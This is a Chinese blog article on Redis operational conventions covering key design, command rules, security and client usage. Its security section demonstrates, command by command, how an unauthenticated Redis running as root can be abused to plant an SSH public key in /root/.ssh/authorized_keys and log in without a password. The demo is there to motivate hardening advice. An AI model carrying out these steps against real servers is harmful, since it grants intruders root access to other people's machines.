Redis 运维实战 第09期:Redis 规范

作者简介

马听,多年 DBA 实战经验,对 MySQL、 Redis、ClickHouse 等数据库有一定了解,专栏《一线数据库工程师带你深入理解 MySQL》作者。

审稿人

无为,前饿了么 MySQL DBA,现就职于某知名互联网公司,对 MySQL、 Redis、PostgrepSQL 等主流数据库有一定了解,拥有丰富的一线运维经验。

这是专栏《Redis 运维实战》的最后一篇,感谢您的阅读。也感谢 9 篇文章的审稿人:无为,提出了多个修改建议,让文章内容更全面。

由于能力有限,系列文章难免会存在错误或者遗漏,如果您有任何建议,可以在对应的文章下留言或者私信给“悦专栏”公众号,我们会第一时间进行反馈。

下面进入今天的内容:Redis 规范。


1 键值设计

1.1 key 名设计

建议 key name 设计:业务名:表名:id

比如:

school:student:1

要求:不包含特殊字符

1.2 value 设计

string 类型控制在 10 KB 以内,hash、list、set、zset 元素个数不要超过 5000。

因为Bigkey 存在一些危害:

由于 Redis 单线程特性,Bigkey 可能会导致超时阻塞。

每次获取 Bigkey 产生的网络流量较大,可能会导致网络阻塞。

如果是 Redis Cluster,可能会导致内存空间分布不均匀。

1.3 控制 key 的生命周期

建议使用 expire 设置 key 的过期时间,防止 Redis 中残留大量的废弃数据,Redis 不是垃圾桶,内存很贵滴。


2 命令规范

2.1 禁止使用的命令

keys

flushall

flushdb

等等。

2.2 适量获取

例如 hgetall、lrange、smembers、zrange、sinter 需要设置范围,以保证每次获取少量的元素。如果有遍历所有元素的需求,可以使用 hscan、sscan、zscan 代替。

2.3 使用批量命令提高效率

比如:mget、mset(需要注意的是可能有些分布式集群不支持),或者使用 pipeline。

2.4 不建议使用 Redis 事务

因为 Redis 事务不支持回滚,而且集群版本要求一个事务操作的 key 必须在一个 slot 上。

2.5 monitor 命令

monitor 命令不建议使用过久,如果需要确定 hotkey,可运行 1s,一般就可看到哪些是 hotkey 了。

2.6 bigkey 删除

如果 key 类型为 string,则直接删除;

如果 key 类型为 hash、list、set、sorted set,使用 hscan 命令,每次获取部分(例如 100个)field-value,再利用 hdel 删除每个 field;

Redis 在 4.0 版本支持 lazy delete free 的模式,删除 bigkey 不会阻塞 Redis。

2.7 集群模式禁止使用发布订阅

在目前集群模式中使用发布订阅, 节点会将接收到的信息广播至集群中的其他所有节点,可能会导致网络问题,因此不建议使用。

3 安全相关

在讲解 Redis 安全规范前,我们先来做一个通过 Redis 攻破远程服务器的实验:

首先我在 A 机器(CentOS 7.4,IP 为:192.168.150.253)以 root 用户运行了一个 Redis 实例(Redis 版本:6.0.8)

在 B 机器(CentOS 7.4,IP 为:192.168.150.232)执行:

ssh 192.168.150.253

发现需要输入密码才能连接

将 B 机器的公钥(如果没公钥,则自行生成一个)格式化写入 foo.txt

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub;echo -e "\n\n") > foo.txt

执行下面的命令,将 foo.txt 的内容做为键 aaa 的 value:

cat foo.txt |redis-cli -h 192.168.150.253 -x set aaa

在 B 机器连接 A 机器部署的 Redis

redis-cli -h 192.168.150.253

执行下面命令,改变 Redis 的数据目录为 /root/.ssh

config set dir /root/.ssh

执行下面命令,设置 Redis 的 RDB 文件名为 authorized_keys

config set dbfilename "authorized_keys"

然后执行落盘命令

bgsave

最后在 B 机器尝试连接 A 机器

ssh 192.168.150.253

发现竟然成功免密登录了 A 机器,因此说明利用 Redis 这个漏洞植入公钥成功。

总结上面的步骤,发现 A 机器上部署的 Redis 存在至少 3 个问题:

使用 root 用户运行 Redis

Redis 使用了默认端口

Redis 未设置密码

因此,对于 Redis 安全相关,建议规范如下:

3.1 禁止 root 用户启动 Redis

上面的实验正是利用 root 用户启动的特性来重置的 authorized_keys,如果是普通用户,则无权限重置 authorized_keys。

3.2 避免使用默认端口

默认端口被扫描的概率非常高,因此换成其他端口可以降低被扫描登录的风险

3.3 Redis 不开放外网

Redis 如果开放外网,大大增加了被攻击的概率,正如上面实验,如果开放外网,并且使用了默认端口,也没设置密码,那攻击者可以轻而易举的登录上服务器。

3.4 设置密码认证

如上面的实验,如果设置了密码,那攻击者在登录 Redis 这一步就被挡了,那也就重置不了 authorized_keys 文件。因此也建议对 Redis 设置密码。


4 客户端使用

4.1 禁止多个应用使用一套 Redis 实例

多个应用使用一套 Redis 实例,可能会出现性能互相影响的情况,甚至可能发生 key name 冲突。

4.2 冷热数据区分

将冷热数据分开存储,比如将低频数据放在 MySQL 或者其他数据库中,Redis 中存放热数据。毕竟内存比磁盘贵。

4.3 连接池

频繁创建和销毁连接,会浪费大量资源。因此可以合理使用连接池,防止频繁创建和销毁连接。



欢迎加入 Redis 交流社群

群内不定期邀请一些身边的 Redis 大牛

交流分享,解答工作中遇到的的问题

分享工作经验、(微yzlkf09)面试技巧等!

也欢迎各位大牛投稿,内容可以是数据库、开发、运维、产品、运营等!

悦专栏 LIKECOLUMN

在这里,学好编程

做更优秀的 IT人!

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,509评论 6 504
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,806评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,875评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,441评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,488评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,365评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,190评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,062评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,500评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,706评论 3 335
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,834评论 1 347
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,559评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,167评论 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,779评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,912评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,958评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,779评论 2 354

推荐阅读更多精彩内容